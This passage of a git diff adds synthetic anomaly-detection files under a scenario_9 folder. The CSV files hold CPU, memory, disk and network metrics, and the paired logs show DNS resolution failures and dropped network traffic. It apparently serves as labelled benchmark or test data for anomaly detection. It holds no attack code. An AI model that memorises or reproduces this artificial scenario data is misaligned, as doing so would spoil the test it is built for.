NXDOMAIN +Jul 05 09:03:45 data-exporter[18092]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 05 09:03:50 systemd[1]: Started Session 61 of user service-account. +Jul 05 09:04:00 api-gateway[18095]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:04:15 kernel: [1751706255.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:04:20 api-gateway[18107]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:04:30 sshd[18110]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 05 09:04:35 payment-processor[18117]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 05 09:04:45 kernel: [1751706285.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:05:30 nginx[18123]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 05 09:06:10 systemd[1]: Started Session 64 of user service-account. +Jul 05 09:06:35 cron[18130]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 05 09:07:00 cron[18134]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 05 09:07:10 cron[18137]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 05 09:07:25 nginx[18140]: POST /v1/data HTTP/1.1 202 ACCEPTED diff --git a/anom_dataset/scenario_9/anom_9_4.csv b/anom_dataset/scenario_9/anom_9_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..8c23e108a0d7db5bb4231e4cc7b96a5add2ab7b2 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-06T22:15:00Z,15.9,45.22,21.15,1.16,0.76 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+2025-07-06T22:21:45Z,18.26,44.82,31.39,0.87,1.44 +2025-07-06T22:21:50Z,14.34,39.42,35.41,1.07,0.96 +2025-07-06T22:21:55Z,18.52,44.46,22.83,0.9,1.32 +2025-07-06T22:22:00Z,15.33,51.01,36.37,0.93,0.44 +2025-07-06T22:22:05Z,14.03,50.73,25.28,0.75,1.29 +2025-07-06T22:22:10Z,12.9,37.73,33.46,0.94,1.45 +2025-07-06T22:22:15Z,21.37,46.5,34.18,1.08,1.71 +2025-07-06T22:22:20Z,19.04,50.56,38.37,1.07,1.67 +2025-07-06T22:22:25Z,18.01,41.77,29.8,0.99,1.48 diff --git a/anom_dataset/scenario_9/anom_9_4.log b/anom_dataset/scenario_9/anom_9_4.log new file mode 100644 index 0000000000000000000000000000000000000000..2d53142aa8829daaa2ee467744d51d759b4d74cc --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_4.log @@ -0,0 +1,41 @@ +Jul 06 22:15:10 systemd[1]: Started Session 55 of user service-account. +Jul 06 22:15:30 sshd[19004]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 06 22:15:55 cron[19008]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 06 22:16:10 sshd[19012]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 06 22:16:30 cron[19016]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 06 22:16:40 kernel: [1751840200.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 06 22:16:55 systemd[1]: Started Session 61 of user service-account. +Jul 06 22:17:25 sshd[19024]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 06 22:17:55 kernel: [1751840275.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:18:00 kernel: [1751840280.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:18:10 payment-processor[19031]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 06 22:18:20 api-gateway[19036]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:18:25 kernel: [1751840305.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:18:30 api-gateway[19041]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:18:45 api-gateway[19048]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:18:50 sshd[19050]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 06 22:19:00 kernel: [1751840340.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:19:05 api-gateway[19059]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:19:10 kernel: [1751840350.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:19:15 payment-processor[19068]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 06 22:19:20 api-gateway[19075]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:19:25 api-gateway[19079]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:19:30 nginx[19083]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 06 22:19:45 payment-processor[19085]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 06 22:19:50 api-gateway[19089]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:19:55 api-gateway[19090]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:20:05 kernel: [1751840405.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:20:10 api-gateway[19098]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:20:25 api-gateway[19104]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:20:30 kernel: [1751840430.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:20:35 data-exporter[19112]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 06 22:20:40 kernel: [1751840440.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:20:50 nginx[19121]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 06 22:21:00 kernel: [1751840460.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:21:05 api-gateway[19130]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 06 22:21:10 kernel: [1751840470.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_4`, status `FAIL` +Jul 06 22:21:15 kernel: [1751840475.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 06 22:21:20 nginx[19139]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 06 22:21:55 kernel: [1751840515.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 06 22:22:15 systemd[1]: Started Session 69 of user service-account. +Jul 06 22:22:25 nginx[19145]: POST /v1/data HTTP/1.1 202 ACCEPTED diff --git a/anom_dataset/scenario_9/anom_9_5.csv b/anom_dataset/scenario_9/anom_9_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..888b4f7ea4b951d527f3b6ebe0f93effa90a3e6d --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,17.38,43.62,33.87,1.0,1.5 +2025-07-15T14:00:05Z,24.25,44.53,28.02,1.2,1.03 +2025-07-15T14:00:10Z,17.58,49.46,20.63,0.81,1.93 +2025-07-15T14:00:15Z,24.27,47.98,32.12,1.04,1.62 +2025-07-15T14:00:20Z,21.02,49.08,32.25,1.16,1.74 +2025-07-15T14:00:25Z,18.49,46.09,30.21,0.9,1.63 +2025-07-15T14:00:30Z,15.95,49.33,24.24,1.31,1.44 +2025-07-15T14:00:35Z,18.39,44.13,22.44,1.25,1.15 +2025-07-15T14:00:40Z,22.87,44.41,20.37,1.14,1.17 +2025-07-15T14:00:45Z,15.04,42.55,22.48,1.22,1.91 +2025-07-15T14:00:50Z,16.45,44.45,30.97,1.22,1.53 +2025-07-15T14:00:55Z,19.73,45.85,25.85,0.81,1.61 +2025-07-15T14:01:00Z,17.5,45.02,23.09,1.04,1.04 +2025-07-15T14:01:05Z,17.88,49.65,21.25,1.49,1.15 +2025-07-15T14:01:10Z,21.81,47.79,31.17,0.83,1.7 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@@ -0,0 +1,28 @@ +Jul 15 14:00:00 server-1 systemd[1]: Started Session 123 for user 'ubuntu'. +Jul 15 14:00:40 server-1 app[1123]: INFO: GET /api/v1/healthcheck 200 OK +Jul 15 14:01:20 server-1 systemd[1]: Started Session 123 for user 'ubuntu'. +Jul 15 14:02:00 server-1 systemd[1]: Started Session 123 for user 'ubuntu'. +Jul 15 14:02:40 server-1 sshd[8899]: Accepted password for user 'devops' from 10.0.2.15 port 51234 ssh2 +Jul 15 14:03:20 server-1 app[1123]: INFO: User 'admin' logged in successfully. +Jul 15 14:03:30 server-1 data-pipeline[3344]: ERROR: Could not resolve DNS for mongodb-primary.db.internal +Jul 15 14:03:45 server-1 data-pipeline[3344]: ERROR: Could not resolve DNS for mongodb-primary.db.internal +Jul 15 14:04:00 server-1 cron[4567]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 15 14:04:00 server-1 data-pipeline[3344]: CRITICAL: Connection to 'mongodb-primary.db.internal' failed: Name or service not known +Jul 15 14:04:15 server-1 checkout-svc[5566]: ERROR: Unknown host exception when calling payment-gateway.external.biz +Jul 15 14:04:30 server-1 app-worker[2345]: WARNING: Attempting to reconnect to api.github.com... +Jul 15 14:04:40 server-1 kernel: [1823.45] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Jul 15 14:04:45 server-1 app-worker[2345]: ERROR: Failed to resolve hostname 'api.github.com': Host not found +Jul 15 14:05:00 server-1 app-worker[2345]: ERROR: Failed to resolve hostname 'api.github.com': Host not found +Jul 15 14:05:15 server-1 app-worker[2345]: WARNING: Attempting to reconnect to api.github.com... +Jul 15 14:05:20 server-1 systemd[1]: Started Session 123 for user 'ubuntu'. +Jul 15 14:05:30 server-1 data-pipeline[3344]: CRITICAL: Connection to 'mongodb-primary.db.internal' failed: Name or service not known +Jul 15 14:05:45 server-1 app-worker[2345]: WARNING: Attempting to reconnect to api.github.com... +Jul 15 14:06:00 server-1 kernel: [1823.45] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Jul 15 14:06:00 server-1 data-pipeline[3344]: CRITICAL: Connection to 'mongodb-primary.db.internal' failed: Name or service not known +Jul 15 14:06:15 server-1 app-worker[2345]: WARNING: Attempting to reconnect to api.github.com... +Jul 15 14:06:30 server-1 app-worker[2345]: ERROR: Failed to resolve hostname 'api.github.com': Host not found +Jul 15 14:06:40 server-1 kernel: [1823.45] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Jul 15 14:06:45 server-1 data-pipeline[3344]: ERROR: Could not resolve DNS for mongodb-primary.db.internal +Jul 15 14:07:00 server-1 app-worker[2345]: WARNING: Attempting to reconnect to api.github.com... +Jul 15 14:07:15 server-1 data-pipeline[3344]: CRITICAL: Connection to 'mongodb-primary.db.internal' failed: Name or service not known +Jul 15 14:07:20 server-1 app[1123]: INFO: GET /api/v1/healthcheck 200 OK diff --git a/anom_dataset/scenario_9/anom_9_6.csv b/anom_dataset/scenario_9/anom_9_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..ce131e2be4eec4f1bbc0234b942ca199690749bb --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,24.351063914399575,42.22601330917394,24.719163326702184,1.2188850144825092,1.0611179208585553 +2025-07-02T10:00:05Z,15.247561134428796,45.82265164437264,33.103647301365115,1.1422134941675455,1.8601615041978654 +2025-07-02T10:00:10Z,18.76084921621459,43.991947370179666,25.74713392217093,1.2038140215159843,1.0635126824719197 +2025-07-02T10:00:15Z,17.83266041105949,44.12368023649249,25.196933198597485,1.172529630333013,1.6122868727410982 +2025-07-02T10:00:20Z,23.279567375623753,42.98436310046543,22.679363816499592,0.9578808628426984,1.6205817946943142 +2025-07-02T10:00:25Z,19.63256186839635,41.84920620811599,34.06145177745245,0.9005771673858982,1.8873349935954193 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+2025-07-02T10:07:10Z,15.506323992895641,47.31334741483953,26.43837588903012,0.05816620509264092,0.11665076790397642 +2025-07-02T10:07:15Z,16.837155118555124,48.54737819705984,34.01075605360121,0.0830295468337194,0.14524654024427225 +2025-07-02T10:07:20Z,20.107974803872203,45.02264647178537,21.722368876309766,0.09948068036218531,0.1675212113635937 +2025-07-02T10:07:25Z,17.958524208689226,47.97249196163407,31.06442066624198,0.004188800945527727,0.18270169751237106 diff --git a/anom_dataset/scenario_9/anom_9_6.log b/anom_dataset/scenario_9/anom_9_6.log new file mode 100644 index 0000000000000000000000000000000000000000..5db7e38d4fd86be2ba4bc42e2e6a128e2736aea3 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_6.log @@ -0,0 +1,33 @@ +Jul 02 10:00:00 apiserver[2345]: DEBUG: Health check OK. +Jul 02 10:00:35 webapp[1123]: INFO: Request processed successfully. +Jul 02 10:01:10 webapp[1123]: INFO: User authenticated: user_id=532 +Jul 02 10:01:45 background-worker[3456]: DEBUG: Health check OK. +Jul 02 10:02:20 webapp[1123]: DEBUG: Health check OK. +Jul 02 10:02:30 apiserver[2345]: ERROR: Failed to connect to api.external-service.com: Unknown host +Jul 02 10:02:45 webapp[1123]: ERROR: Failed to connect to cdn.content-provider.net: Unknown host +Jul 02 10:02:55 background-worker[3456]: INFO: Request processed successfully. +Jul 02 10:03:00 apiserver[2345]: WARN: Could not resolve hostname: cdn.content-provider.net: Name or service not known +Jul 02 10:03:15 background-worker[3456]: ERROR: Failed to connect to cdn.content-provider.net: Unknown host +Jul 02 10:03:30 background-worker[3456]: INFO: User authenticated: user_id=532 +Jul 02 10:03:30 background-worker[3456]: WARN: Could not resolve hostname: api.external-service.com: Name or service not known +Jul 02 10:03:45 background-worker[3456]: CRITICAL: Connection to cdn.content-provider.net failed: Host not found +Jul 02 10:04:00 webapp[1123]: CRITICAL: Connection to api.external-service.com failed: Host not found +Jul 02 10:04:05 apiserver[2345]: INFO: User authenticated: user_id=532 +Jul 02 10:04:15 webapp[1123]: ERROR: Failed to connect to data.source.internal: Unknown host +Jul 02 10:04:30 apiserver[2345]: CRITICAL: Connection to cdn.content-provider.net failed: Host not found +Jul 02 10:04:40 webapp[1123]: INFO: User authenticated: user_id=532 +Jul 02 10:04:45 webapp[1123]: CRITICAL: Connection to data.source.internal failed: Host not found +Jul 02 10:05:00 webapp[1123]: WARN: Could not resolve hostname: data.source.internal: Name or service not known +Jul 02 10:05:15 webapp[1123]: CRITICAL: Connection to api.external-service.com failed: Host not found +Jul 02 10:05:15 webapp[1123]: DEBUG: Health check OK. +Jul 02 10:05:30 webapp[1123]: WARN: Could not resolve hostname: data.source.internal: Name or service not known +Jul 02 10:05:45 background-worker[3456]: WARN: Could not resolve hostname: api.external-service.com: Name or service not known +Jul 02 10:05:50 webapp[1123]: INFO: User authenticated: user_id=532 +Jul 02 10:06:00 apiserver[2345]: CRITICAL: Connection to api.external-service.com failed: Host not found +Jul 02 10:06:15 webapp[1123]: ERROR: Failed to connect to cdn.content-provider.net: Unknown host +Jul 02 10:06:25 webapp[1123]: INFO: Saved new record to database. +Jul 02 10:06:30 apiserver[2345]: WARN: Could not resolve hostname: cdn.content-provider.net: Name or service not known +Jul 02 10:06:45 webapp[1123]: WARN: Could not resolve hostname: cdn.content-provider.net: Name or service not known +Jul 02 10:07:00 background-worker[3456]: ERROR: Failed to connect to cdn.content-provider.net: Unknown host +Jul 02 10:07:00 background-worker[3456]: INFO: Saved new record to database. +Jul 02 10:07:15 webapp[1123]: CRITICAL: Connection to cdn.content-provider.net failed: Host not found diff --git a/anom_dataset/scenario_9/anom_9_7.csv b/anom_dataset/scenario_9/anom_9_7.csv new file mode 100644 index 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+2025-07-02T10:05:40Z,15.49,42.62,25.81,0.0,0.09,0.01 +2025-07-02T10:05:45Z,18.86,40.5,28.68,0.0,0.04,0.16 +2025-07-02T10:05:50Z,21.36,40.52,21.33,0.0,0.07,0.01 +2025-07-02T10:05:55Z,20.21,48.88,24.22,0.0,0.05,0.15 +2025-07-02T10:06:00Z,18.39,41.23,23.18,0.0,0.03,0.09 +2025-07-02T10:06:05Z,24.82,45.93,20.9,0.0,0.06,0.12 +2025-07-02T10:06:10Z,18.06,43.29,28.99,0.0,0.07,0.12 +2025-07-02T10:06:15Z,18.64,46.45,26.44,0.0,0.09,0.04 +2025-07-02T10:06:20Z,19.93,40.81,27.94,0.0,0.09,0.17 +2025-07-02T10:06:25Z,22.93,45.46,27.2,0.0,0.07,0.19 +2025-07-02T10:06:30Z,16.52,43.23,21.06,0.0,0.09,0.17 +2025-07-02T10:06:35Z,20.46,49.86,25.8,0.0,0.05,0.15 +2025-07-02T10:06:40Z,21.11,43.26,24.45,0.0,0.01,0.1 +2025-07-02T10:06:45Z,23.39,44.63,27.33,0.0,0.05,0.1 +2025-07-02T10:06:50Z,18.31,48.08,24.6,0.0,0.04,0.02 +2025-07-02T10:06:55Z,23.8,46.11,27.54,0.0,0.0,0.2 +2025-07-02T10:07:00Z,23.13,47.5,22.81,0.0,0.03,0.17 +2025-07-02T10:07:05Z,19.73,44.13,27.59,0.0,0.03,0.06 +2025-07-02T10:07:10Z,23.46,40.43,22.05,0.0,0.03,0.16 +2025-07-02T10:07:15Z,21.78,42.25,29.1,0.0,0.02,0.15 +2025-07-02T10:07:20Z,22.97,44.22,29.84,0.0,0.1,0.01 +2025-07-02T10:07:25Z,16.02,41.16,27.89,0.0,0.06,0.18 diff --git a/anom_dataset/scenario_9/anom_9_7.log b/anom_dataset/scenario_9/anom_9_7.log new file mode 100644 index 0000000000000000000000000000000000000000..2adf7fe25be20e6892567e56e9ce4d14c012e9dc --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_7.log @@ -0,0 +1,24 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:02 systemd[1]: Started Session 1 of user default. +Jul 02 10:01:10 CRON[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:16 data-connector[1123]: INFO Pushing 500 records to external-api.com +Jul 02 10:01:38 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:01 data-connector[1123]: INFO Pushing 500 records to external-api.com +Jul 02 10:03:05 sshd[10234]: Accepted publickey for default from 192.168.1.101 port 55234 ssh2 +Jul 02 10:03:11 data-connector[1123]: INFO Pushing 500 records to external-api.com +Jul 02 10:03:19 data-connector[1123]: INFO Successfully connected to database +Jul 02 10:03:32 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 data-connector[1123]: ERROR Could not resolve host: external-api.com; Name or service not known +Jul 02 10:04:13 data-connector[1123]: ERROR Failed to establish connection with external-api.com: Unknown host +Jul 02 10:04:43 data-connector[1123]: CRITICAL Host not found: external-api.com +Jul 02 10:05:04 data-connector[1123]: ERROR Failed to establish connection with external-api.com: Unknown host +Jul 02 10:05:09 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:28 data-connector[1123]: ERROR Failed to establish connection with external-api.com: Unknown host +Jul 02 10:05:49 data-connector[1123]: ERROR DNS resolution failed for external-api.com +Jul 02 10:06:05 data-connector[1123]: CRITICAL Host not found: external-api.com +Jul 02 10:06:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:31 data-connector[1123]: ERROR DNS resolution failed for external-api.com +Jul 02 10:06:50 data-connector[1123]: ERROR DNS resolution failed for external-api.com +Jul 02 10:07:11 data-connector[1123]: CRITICAL Host not found: external-api.com +Jul 02 10:07:29 data-connector[1123]: ERROR Failed to establish connection with external-api.com: Unknown host +Jul 02 10:07:34 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_9/anom_9_8.csv b/anom_dataset/scenario_9/anom_9_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..1bc507d6eebc9274606c29515e1f91f14aed07c0 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,25.11,39.15,23.49,0.9,0.91 +2025-07-02T10:00:05Z,24.93,39.21,21.1,1.47,0.75 +2025-07-02T10:00:10Z,25.36,39.77,25.32,1.28,1.12 +2025-07-02T10:00:15Z,24.8,39.75,21.63,1.1,0.82 +2025-07-02T10:00:20Z,22.51,40.11,20.11,1.52,0.85 +2025-07-02T10:00:25Z,26.69,40.39,22.53,0.95,0.81 +2025-07-02T10:00:30Z,24.59,39.29,18.98,1.32,0.54 +2025-07-02T10:00:35Z,23.96,41.0,25.88,0.9,1.13 +2025-07-02T10:00:40Z,24.87,41.04,17.34,0.83,1.13 +2025-07-02T10:00:45Z,23.26,40.53,22.0,1.23,0.56 +2025-07-02T10:00:50Z,23.74,39.86,20.26,1.47,0.86 +2025-07-02T10:00:55Z,23.51,39.3,26.27,1.65,0.8 +2025-07-02T10:01:00Z,23.81,41.03,19.33,1.52,0.87 +2025-07-02T10:01:05Z,25.59,42.75,24.95,1.3,0.65 +2025-07-02T10:01:10Z,24.81,37.57,21.95,1.03,0.92 +2025-07-02T10:01:15Z,24.37,38.41,20.2,1.56,0.65 +2025-07-02T10:01:20Z,23.85,43.35,21.53,0.71,0.8 +2025-07-02T10:01:25Z,25.09,42.3,22.04,1.09,1.09 +2025-07-02T10:01:30Z,23.71,39.66,18.14,1.53,0.44 +2025-07-02T10:01:35Z,24.9,40.2,19.75,1.01,0.63 +2025-07-02T10:01:40Z,24.8,41.13,22.05,1.23,0.79 +2025-07-02T10:01:45Z,25.34,39.58,26.12,0.73,0.68 +2025-07-02T10:01:50Z,26.31,43.3,24.37,1.25,1.07 +2025-07-02T10:01:55Z,24.37,41.36,25.91,1.7,0.72 +2025-07-02T10:02:00Z,24.83,36.12,21.27,1.01,1.16 +2025-07-02T10:02:05Z,20.88,37.52,21.27,0.93,0.56 +2025-07-02T10:02:10Z,23.5,39.09,17.63,1.14,0.69 +2025-07-02T10:02:15Z,27.24,39.25,22.45,0.9,0.96 +2025-07-02T10:02:20Z,27.44,41.4,15.71,0.79,0.7 +2025-07-02T10:02:25Z,24.09,42.11,19.15,1.52,1.09 +2025-07-02T10:02:30Z,25.62,39.43,24.37,0.0,0.05 +2025-07-02T10:02:35Z,26.66,40.02,24.24,0.02,0.0 +2025-07-02T10:02:40Z,27.92,42.36,20.44,0.03,0.02 +2025-07-02T10:02:45Z,24.12,38.05,18.94,0.02,0.01 +2025-07-02T10:02:50Z,27.54,38.14,22.34,0.02,0.02 +2025-07-02T10:02:55Z,26.75,39.63,27.04,0.03,0.01 +2025-07-02T10:03:00Z,24.15,40.18,20.34,0.04,0.02 +2025-07-02T10:03:05Z,22.19,37.1,24.77,0.0,0.02 +2025-07-02T10:03:10Z,24.35,39.5,23.01,0.04,0.0 +2025-07-02T10:03:15Z,24.66,41.56,26.36,0.02,0.02 +2025-07-02T10:03:20Z,24.24,42.22,27.15,0.05,0.02 +2025-07-02T10:03:25Z,26.23,40.23,24.57,0.01,0.03 +2025-07-02T10:03:30Z,27.7,36.67,22.35,0.03,0.04 +2025-07-02T10:03:35Z,24.51,38.65,21.4,0.04,0.04 +2025-07-02T10:03:40Z,26.6,42.0,23.64,0.03,0.01 +2025-07-02T10:03:45Z,26.81,41.0,16.78,0.02,0.03 +2025-07-02T10:03:50Z,25.08,41.13,18.49,0.01,0.0 +2025-07-02T10:03:55Z,21.97,39.17,22.12,0.02,0.04 +2025-07-02T10:04:00Z,25.36,37.83,24.47,0.03,0.01 +2025-07-02T10:04:05Z,26.03,40.94,26.02,0.01,0.02 +2025-07-02T10:04:10Z,23.43,41.25,29.64,0.01,0.04 +2025-07-02T10:04:15Z,26.41,38.37,20.83,0.05,0.03 +2025-07-02T10:04:20Z,26.36,38.28,21.92,0.04,0.04 +2025-07-02T10:04:25Z,25.97,44.74,22.02,0.01,0.01 +2025-07-02T10:04:30Z,25.2,38.05,22.27,0.0,0.03 +2025-07-02T10:04:35Z,25.76,40.84,20.59,0.0,0.0 +2025-07-02T10:04:40Z,26.63,40.13,18.97,0.03,0.03 +2025-07-02T10:04:45Z,24.41,40.26,18.51,0.02,0.03 +2025-07-02T10:04:50Z,24.25,40.13,20.17,0.01,0.02 +2025-07-02T10:04:55Z,23.15,41.59,24.8,0.03,0.02 +2025-07-02T10:05:00Z,25.06,41.11,23.33,0.02,0.04 +2025-07-02T10:05:05Z,22.74,41.95,22.12,0.0,0.03 +2025-07-02T10:05:10Z,26.1,38.42,23.54,0.04,0.05 +2025-07-02T10:05:15Z,26.0,38.98,25.52,0.04,0.02 +2025-07-02T10:05:20Z,25.24,38.59,24.94,0.02,0.04 +2025-07-02T10:05:25Z,23.46,42.96,25.12,0.03,0.01 +2025-07-02T10:05:30Z,25.9,38.3,25.14,0.03,0.05 +2025-07-02T10:05:35Z,22.91,41.61,23.14,0.03,0.04 +2025-07-02T10:05:40Z,24.55,42.33,22.15,0.03,0.02 +2025-07-02T10:05:45Z,24.3,41.46,22.69,0.0,0.01 +2025-07-02T10:05:50Z,26.49,38.6,27.33,0.05,0.02 +2025-07-02T10:05:55Z,24.54,39.2,25.28,0.04,0.04 +2025-07-02T10:06:00Z,23.83,36.51,29.34,0.03,0.04 +2025-07-02T10:06:05Z,25.85,41.38,26.39,0.04,0.01 +2025-07-02T10:06:10Z,23.92,41.02,24.96,0.02,0.04 +2025-07-02T10:06:15Z,21.84,41.7,26.37,0.03,0.03 +2025-07-02T10:06:20Z,25.32,41.66,25.18,0.04,0.04 +2025-07-02T10:06:25Z,26.19,41.67,23.42,0.05,0.03 +2025-07-02T10:06:30Z,24.79,41.33,20.42,0.04,0.04 +2025-07-02T10:06:35Z,26.04,38.53,21.83,0.04,0.04 +2025-07-02T10:06:40Z,22.58,41.37,23.75,0.05,0.01 +2025-07-02T10:06:45Z,24.42,40.11,18.99,0.01,0.0 +2025-07-02T10:06:50Z,28.19,40.9,27.54,0.03,0.04 +2025-07-02T10:06:55Z,22.96,41.87,26.98,0.01,0.01 +2025-07-02T10:07:00Z,25.8,42.03,22.27,0.03,0.01 +2025-07-02T10:07:05Z,25.0,41.35,23.02,0.03,0.01 +2025-07-02T10:07:10Z,23.93,36.99,18.17,0.04,0.05 +2025-07-02T10:07:15Z,26.5,41.11,23.22,0.04,0.02 +2025-07-02T10:07:20Z,25.05,41.27,25.38,0.01,0.0 +2025-07-02T10:07:25Z,25.26,37.46,25.03,0.04,0.03 diff --git a/anom_dataset/scenario_9/anom_9_8.log b/anom_dataset/scenario_9/anom_9_8.log new file mode 100644 index 0000000000000000000000000000000000000000..373dbf85f457be196a9ddd41a49a9b3bb6aad617 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_8.log @@ -0,0 +1,41 @@ +Jul 02 10:00:03 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:03 systemd[1]: INFO Starting daily cleanup of /tmp... +Jul 02 10:00:03 app[2814]: INFO Successfully connected to api.external-service.com +Jul 02 10:00:03 worker[4654]: INFO Data fetch from api.external-service.com successful, 25 records processed. +Jul 02 10:00:38 app[2814]: INFO Successfully connected to api.external-service.com +Jul 02 10:00:51 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:03 worker[4654]: INFO Data fetch from api.external-service.com successful, 25 records processed. +Jul 02 10:01:12 app[2814]: INFO Successfully connected to api.external-service.com +Jul 02 10:01:42 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:46 app[2814]: INFO Successfully connected to api.external-service.com +Jul 02 10:02:02 worker[4654]: INFO Data fetch from api.external-service.com successful, 25 records processed. +Jul 02 10:02:06 systemd[1]: INFO Starting daily cleanup of /tmp... +Jul 02 10:02:21 app[2814]: INFO Successfully connected to api.external-service.com +Jul 02 10:02:32 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:32 app[2814]: ERROR failed to connect to api.external-service.com: Name or service not known +Jul 02 10:02:47 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:03:03 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:03:16 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:03:22 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:32 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:03:48 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:04:02 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:04:12 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:12 systemd[1]: INFO Starting daily cleanup of /tmp... +Jul 02 10:04:17 app[2814]: ERROR failed to connect to api.external-service.com: Name or service not known +Jul 02 10:04:33 worker[4654]: WARN DNS lookup failed for api.external-service.com, retrying... +Jul 02 10:04:46 worker[4654]: CRITICAL Could not resolve host: api.external-service.com; Unknown host +Jul 02 10:05:02 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:02 app[2814]: ERROR failed to connect to api.external-service.com: Name or service not known +Jul 02 10:05:18 app[2814]: ERROR Host not found: api.external-service.com +Jul 02 10:05:33 app[2814]: ERROR failed to connect to 